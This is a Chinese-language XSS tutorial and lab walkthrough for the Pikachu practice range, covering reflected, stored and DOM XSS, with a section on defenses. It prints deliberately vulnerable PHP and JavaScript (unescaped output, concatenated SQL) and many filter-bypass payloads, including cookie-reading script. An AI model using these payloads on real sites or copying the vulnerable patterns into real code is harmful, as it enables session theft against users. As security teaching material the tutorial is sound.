XSS(Pikachu靶場)
概述
Cross-Site Scripting 簡稱為“CSS”,為避免與前端疊成樣式表的縮寫"CSS"衝突,故又稱XSS。一般XSS可以分為如下幾種常見型別:
1.反射性XSS;
2.儲存型XSS;
3.DOM型XSS;
XSS漏洞一直被評估為web漏洞中危害較大的漏洞,在OWASP TOP10的排名中一直屬於前三的江湖地位。
XSS是一種發生在前端瀏覽器端的漏洞,所以其危害的物件也是前端使用者。
形成XSS漏洞的主要原因是程式對輸入和輸出沒有做合適的處理,導致“精心構造”的字元輸出在前端時被瀏覽器當作有效程式碼解析執行從而產生危害。
因此在XSS漏洞的防範上,一般會採用“對輸入進行過濾”和“輸出進行轉義”的方式進行處理:
輸入過濾:對輸入進行過濾,不允許可能導致XSS攻擊的字元輸入;
輸出轉義:根據輸出點的位置對輸出到前端的內容進行適當轉義;
一、XSS的原理和分類
跨站指令碼攻擊XSS(Cross Site Scripting),為了不和層疊樣式表(Cascading Style Sheets, CSS)的縮寫混淆,故將跨站指令碼攻擊縮寫為XSS。惡意攻擊者往Web頁面裡插入惡意js程式碼,當使用者瀏覽該頁面時,嵌入Web裡面的js程式碼會被執行,從而達到惡意攻擊使用者的目的。XSS攻擊針對的是使用者層面的攻擊!
XSS分為:儲存型 、反射型 、DOM型XSS
反射型XSS漏洞:前端-->後端-->前端
-
1.Alice經常瀏覽某個網站,此網站為Bob所擁有。Bob的站點需要Alice使用使用者名稱/密碼進行登入,並儲存了Alice敏感資訊(比如銀行帳戶資訊)。 2.Tom 發現 Bob的站點存在反射性的XSS漏洞 3.Tom 利用Bob網站的反射型XSS漏洞編寫了一個exp,做成連結的形式,並利用各種手段誘使Alice點選 4.Alice在登入到Bob的站點後,瀏覽了 Tom 提供的惡意連結 5.嵌入到惡意連結中的惡意指令碼在Alice的瀏覽器中執行。此指令碼盜竊敏感資訊(cookie、帳號資訊等資訊)。然後在Alice完全不知情的情況下將這些資訊傳送給 Tom。 6.Tom 利用獲取到的cookie就可以以Alice的身份登入Bob的站點,如果指令碼的功更強大的話,Tom 還可以對Alice的瀏覽器做控制並進一步利用漏洞控制
儲存型XSS漏洞:前端-->後端-->資料庫-->後端-->前端
-
1. Bob擁有一個Web站點,該站點允許使用者釋出資訊/瀏覽已釋出的資訊。 2. Tom檢測到Bob的站點存在儲存型的XSS漏洞。 3. Tom在Bob的網站上釋出一個帶有惡意指令碼的熱點資訊,該熱點資訊儲存在了Bob的伺服器的資料庫中,然後吸引其它使用者來閱讀該熱點資訊。 4. Bob或者是任何的其他人如Alice瀏覽該資訊之後,Tom的惡意指令碼就會執行。 5. Tom的惡意指令碼執行後,Tom就可以對瀏覽器該頁面的使用者發動一起XSS攻擊
反射型XSS:非持久化,需要欺騙使用者自己去點選連結才能觸發XSS程式碼(伺服器中沒有這樣的頁面和內容),一般容易出現在搜尋頁面。反射型XSS大多數是用來盜取使用者的Cookie資訊。
儲存型XSS:儲存型XSS,持久化,程式碼是儲存在伺服器中的,如在個人資訊或發表文章等地方,插入程式碼,如果沒有過濾或過濾不嚴,那麼這些程式碼將儲存到伺服器中,使用者訪問該頁面的時候觸發程式碼執行。這種XSS比較危險,容易造成蠕蟲,盜竊cookie
DOM型XSS:不經過後端,DOM-XSS漏洞是基於文件物件模型(Document Objeet Model,DOM)的一種漏洞,DOM-XSS是透過url傳入引數去控制觸發的,其實也屬於反射型XSS。
基於 DOM 的 XSS 攻擊是指透過惡意指令碼修改頁面的 DOM 結構,是純粹發生在客戶端的攻擊。前端-->瀏覽器
DOM 型 XSS 跟前兩種 XSS 的區別:DOM 型 XSS 攻擊中,取出和執行惡意程式碼由瀏覽器端完成,屬於前端 JavaScript 自身的安全漏洞,而其他兩種 XSS 都屬於服務端的安全漏洞。
可能觸發DOM型XSS的屬性
document.referer
window.name
location
innerHTML
documen.write
舉個例子 :
<input type="text" id="input">
<button id="btn">Submit</button>
<div id="div"></div>
<script>
const input = document.getElementById('input');
const btn = document.getElementById('btn');
const div = document.getElementById('div');
let val;
input.addEventListener('change', (e) => {
val = e.target.value;
}, false);
btn.addEventListener('click', () => {
div.innerHTML = `<a href=${val}>testLink</a>`
}, false);
</script>
點選 Submit 按鈕後,會在當前頁面插入一個連結,其地址為使用者的輸入內容。如果使用者在輸入時構造瞭如下內容:
" onclick=alert(/xss/)
使用者提交之後,頁面程式碼就變成了:
<a href onlick="alert(/xss/)">testLink</a>
此時,使用者點選生成的連結,就會執行對應的指令碼。DOM 型 XSS 攻擊,實際上就是網站前端 JavaScript 程式碼本身不夠嚴謹,把不可信的資料當作程式碼執行了。在使用 .innerHTML
、.outerHTML
、document.write()
時要特別小心,不要把不可信的資料作為 HTML 插到頁面上,而應儘量使用 .textContent
、.setAttribute()
等。
DOM 中的內聯事件監聽器,如 location
、onclick
、onerror
、onload
、onmouseover
等,<a>
標籤的 href
屬性,JavaScript 的 eval()
、setTimeout()
、setInterval()
等,都能把字串作為程式碼執行。如果不可信的資料拼接到字串中傳遞給這些 API,很容易產生安全隱患,請務必避免。
二、XSS的攻擊載荷
以下所有標籤的 > 都可以用 // 代替, 例如 ,看看會有什麼反應
頁面直接彈出了hack的頁面,可以看到,我們插入的語句已經被頁面給執行了。
這就是最基本的反射型的XSS漏洞,這種漏洞資料流向是: 前端-->後端-->前端
儲存型XSS:
先給出原始碼
//前端:2.html
<html>
<head lang="en">
<meta charset="UTF-8">
<title>儲存型XSS</title>
</head>
<body>
<form action="action2.php" method="post">
輸入你的ID:<input type="text" name="id" /> <br/>
輸入你的Name:<input type="text" name="name" /> <br/>
<input type="submit" value="提交">
</form>
</body>
</html>
//後端:action2.php
<?php
$id=$_POST["id"];
$name=$_POST["name"];
mysql_connect("localhost","root","root");
mysql_select_db("test");
$sql="insert into xss value ($id,'$name')";
$result=mysql_query($sql);
?>
//供其他使用者訪問頁面:show2.php
<?php
mysql_connect("localhost","root","root");
mysql_select_db("test");
$sql="select * from xss where id=1";
$result=mysql_query($sql);
while($row=mysql_fetch_array($result)){
echo $row['name'];
}
?>
這裡有一個使用者提交的頁面,資料提交給後端之後,後端儲存在資料庫中。然後當其他使用者訪問另一個頁面的時候,後端調出該資料,顯示給另一個使用者,XSS程式碼就被執行了
我們輸入 1 和 ,注意,這裡的hack的單引號要進行轉義,因為sql語句中的$name是單引號的,所以這裡不轉義的話就會閉合sql語句中的單引號。不然注入不進去。提交了之後,我們看看資料庫
可以看到,我們的XSS語句已經插入到資料庫中了
然後當其他使用者訪問 show2.php 頁面時,我們插入的XSS程式碼就執行了。
儲存型XSS的資料流向是:前端-->後端-->資料庫-->後端-->前端
DOM型XSS:
先放上原始碼
// 前端3.html
<html>
<head lang="en">
<meta charset="UTF-8">
<title>DOM型XSS</title>
</head>
<body>
<form action="action3.php" method="post">
<input type="text" name="name" />
<input type="submit" value="提交">
</form>
</body>
</html>
// 後端action3.php
<?php
$name=$_POST["name"];
?>
<input id="text" type="text" value="<?php echo $name; ?>"/>
<div id="print"></div>
<script type="text/javascript">
var text=document.getElementById("text");
var print=document.getElementById("print");
print.innerHTML=text.value; // 獲取 text的值,並且輸出在print內。這裡是導致xss的主要原因。
</script>
這裡有一個使用者提交的頁面,使用者可以在此提交資料,資料提交之後給後臺處理
我們可以輸入 <img src=1 οnerrοr=alert('hack')> ,然後看看頁面的變化
頁面直接彈出了 hack 的頁面,可以看到,我們插入的語句已經被頁面給執行了。
這就是DOM型XSS漏洞,這種漏洞資料流向是: 前端-->瀏覽器
七、XSS的簡單過濾和繞過
前面講sql注入的時候,我們講過程式猿對於sql注入的一些過濾,利用一些函式(如:preg_replace()),將組成sql語句的一些字元給過濾,以防止注入。那麼,程式猿也可以用一些函式將構成xss程式碼的一些關鍵字元給過濾了。可是,道高一尺魔高一丈,雖然過濾了,但是還是可以進行過濾繞過,以達到XSS攻擊的目的
1.區分大小寫過濾標籤
先放上原始碼
//前端 1.html:
<html>
<head lang="en">
<meta charset="UTF-8">
<title>反射型XSS</title>
</head>
<body>
<form action="action4.php" method="post">
<input type="text" name="name" />
<input type="submit" value="提交">
</form>
</body>
</html>
//後端 action4.php:
<?php
$name=$_POST["name"];
if($name!=null){
$name=preg_replace("/<script>/","",$name); //過濾<script>
$name=preg_replace("/<\/script>/","",$name); //過濾</script>
echo $name;
}
?>
繞過技巧:可以使用大小寫繞過
2.不區分大小寫過濾標籤
先放上原始碼
這個和上面的程式碼一模一樣,只不過是過濾的時候多加了一個 i ,以不區分大小寫
$name=preg_replace("/<script>/i","",$name); //不區分大小寫過濾 <script>
$name=preg_replace("/<\/script>/i","",$name); //不區分大小寫過濾 </script>
繞過技巧:可以使用巢狀的script標籤繞過 <script>
3.不區分大小寫,過濾之間的所有內容
先放上原始碼
這個和上面的程式碼一模一樣,只不過是過濾的時候過濾條件發生了變化
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] ); //過濾了<script 及其之間的所有內容
雖然無法使用
<script>
標籤注入XSS程式碼,但是可以透過img、body等標籤的事件或者 iframe 等標籤的 src 注入惡意的 js 程式碼。
payload:
<img src=1 οnerrοr=alert('hack')>
我們可以輸入
<img src=1 οnerrοr=alert('hack')>
,然後看看頁面的變化
八、XSS的防禦
XSS防禦的總體思路是:對使用者的輸入(和URL引數)進行過濾,對輸出進行html編碼。也就是對使用者提交的所有內容進行過濾,對url中的引數進行過濾,過濾掉會導致指令碼執行的相關內容;然後對動態輸出到頁面的內容進行html編碼,使指令碼無法在瀏覽器中執行。
對輸入的內容進行過濾,可以分為黑名單過濾和白名單過濾。黑名單過濾雖然可以攔截大部分的XSS攻擊,但是還是存在被繞過的風險。白名單過濾雖然可以基本杜絕XSS攻擊,但是真實環境中一般是不能進行如此嚴格的白名單過濾的。
對輸出進行html編碼,就是透過函式,將使用者的輸入的資料進行html編碼,使其不能作為指令碼執行。
如下,是使用php中的htmlspecialchars函式對使用者輸入的name引數進行html編碼,將其轉換為html實體
#使用htmlspecialchars函式對使用者輸入的name引數進行html編碼,將其轉換為html實體
$name = htmlspecialchars( $_GET[ 'name' ] );
如下,圖1是沒有進行html編碼的,圖2是進行了html編碼的。經過html編碼後script標籤被當成了html實體。
我們還可以服務端設定會話Cookie的HTTP Only屬性,這樣,客戶端的JS指令碼就不能獲取Cookie資訊了
當使用者點選了我們構造的惡意連結,發現開啟的是一個404頁面。實際上這個頁面偷偷的進行了表單的提交
pikachu靶場練習
第1關 反射型xss(get)
<script>alert("1")</script>
發現輸入框有長度限制 -----》 一般長度限制都是透過前端html程式碼校驗,所以這裡我們有兩種方法
1.網頁框之間輸入
注:使用之前需要檢視瀏覽器是否自動轉換URL編碼,若無法自動轉換則需要手動輸入轉換。
2.直接修改html程式碼
將限制長度的變數maxlength增加,比如修改為100。
第2關 反射型xss(post)
嘗試直接在登入框直接輸入
<script>alert("1")</script>
來判斷是否有回顯點
發現沒有注入點回顯,根據提示輸入正確的賬號密碼後登入進去
在輸入框輸入
<script>alert("1")</script>
有回顯
輸入
<script>alert(document.cookie)</script>
成功獲取admin的cookie
第3關 儲存型xss
第三關點開後是一個留言板介面,留言板可以當作儲存型xss的注入點,攻擊者寫下的惡意程式碼會被儲存到資料庫,當有人訪問這個留言板頁面的時候直接觸發惡意程式碼。
在另外一個瀏覽器中來到本關頁面,也出現了同樣的彈框。說明儲存型XSS能危害所有訪問受影響頁面的使用者。
第4關 DOM型xss
進入第四關發現又是隻有一個輸入框,我們直接輸入<script>alert(1)</script>
試試
輸入後發現回顯了一個連結名曰“what do you see?”
滑鼠右鍵–---檢視網頁原始碼,Ctrl+F彈出搜尋框,輸入what do you see看看
檢視原始碼,尋找DOM XSS的本質是做js語言閱讀理解題
這段js程式碼的意思是會把使用者提交的內容輸出到標籤裡面,我們要想幹其他的事,需要閉合標籤和引號
根據提示
document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>";
//試試:'><img src="#" onmouseover="alert('xss')">
//試試:' onclick="alert('xss')">,閉合掉就行
document.getElementById("dom").innerHTML = "<a href=''><img src="#" onmouseover="alert('xss')">'>what do you see?</a>";
document.getElementById("dom").innerHTML = "<a href='' onclick="alert('xss')">'>what do you see?</a>";
用 ' 閉合前面的單引號
相當於:
<a href="" onclick=alert('xss')>a</a>
'>what do you see? 當作字串輸出
第5關 DOM型xss-x
隨便輸點東西,發現跑到url去了
輸入
<script>alert(1)</script>
並沒有彈框
檢視頁面原始碼:點選emo語句後會執行拼接後的語句,與第一關不同的是點選emo語句才會執行“domxss”函式
document.getElementById("dom").innerHTML = "<a href='"+xss+"'>就讓往事都隨風,都隨風</a>";
//試試:'><img src="#" onmouseover="alert('xss')">
//試試:' onclick="alert('xss')">,閉合掉就行
輸入
' onclick="alert('xss')">
第6關 xss盲打
兩個輸入框,隨便輸點東西康康
再輸入兩條xss語句並沒有彈窗,發現本關的輸入是以POST方法提交的,但是form標籤裡沒有action屬性,也不知道表單資料被提交到哪裡去了
點提示發現有後臺登入地址
登進去看看 啊哦,彈出來了
第7關 xss之過濾
還是隨便輸
xss注入試試
<script>alert("1")</script>
被過濾了,只剩下>哈哈哈哈,肯定是被過濾啦
那過濾了什麼呢?
輸入<script時回顯為空,說明過濾了這個標籤
換個標籤試試
<svg onload="alert(1)">
成功啦,這些都可以
<details open ontoggle="alert('xss');">
<input onfocus="alert('xss');">
<img src=1 onerror=alert("xss");>
<svg onload=alert("xss");>
<select onfocus=alert('xss') autofocus>
<iframe onload=alert("xss");></iframe>
<video><source onerror="alert('xss')">
<details open ontoggle="alert('xss');">
<input onfocus="alert('xss');">
<img src=1 onerror=alert("xss");>
<svg onload=alert("xss");>
<select onfocus=alert('xss') autofocus>
<iframe onload=alert("xss");></iframe>
<video><source onerror="alert('xss')">
試試大小寫繞過----成功
<Script>alert("1")</Script>
拼接--- no
<scri<script>pt>alert(1)</scri</script> pt>
第8關 xss之htmlspecialchars
輸入nihao
輸入標籤試試
回顯a標籤,超連結,發現被預編譯了
搜尋htmlspecialchars()函式用法,果然是預編譯
眼尖的你肯定發現單引號沒有預編譯
' onclick='alert(1)
<a href='' onclick='alert(1)'>' onclick='alert(1)'</a>
第9關 xss之href輸出
baidu.com
<script>alert(1)</script>
單引號也被過濾了
看看提示
可以利用JavaScript協議。輸入payload:
javascript:alert(1)
[javascript偽協議 - komomon - 部落格園 (cnblogs.com)
第10關 xss之js輸出
tmac的粉絲(確信)
我們可以將其閉合,然後註釋掉後面
';alert(1);//
或者
x'</script><script>alert('xss')</script>
完結撒花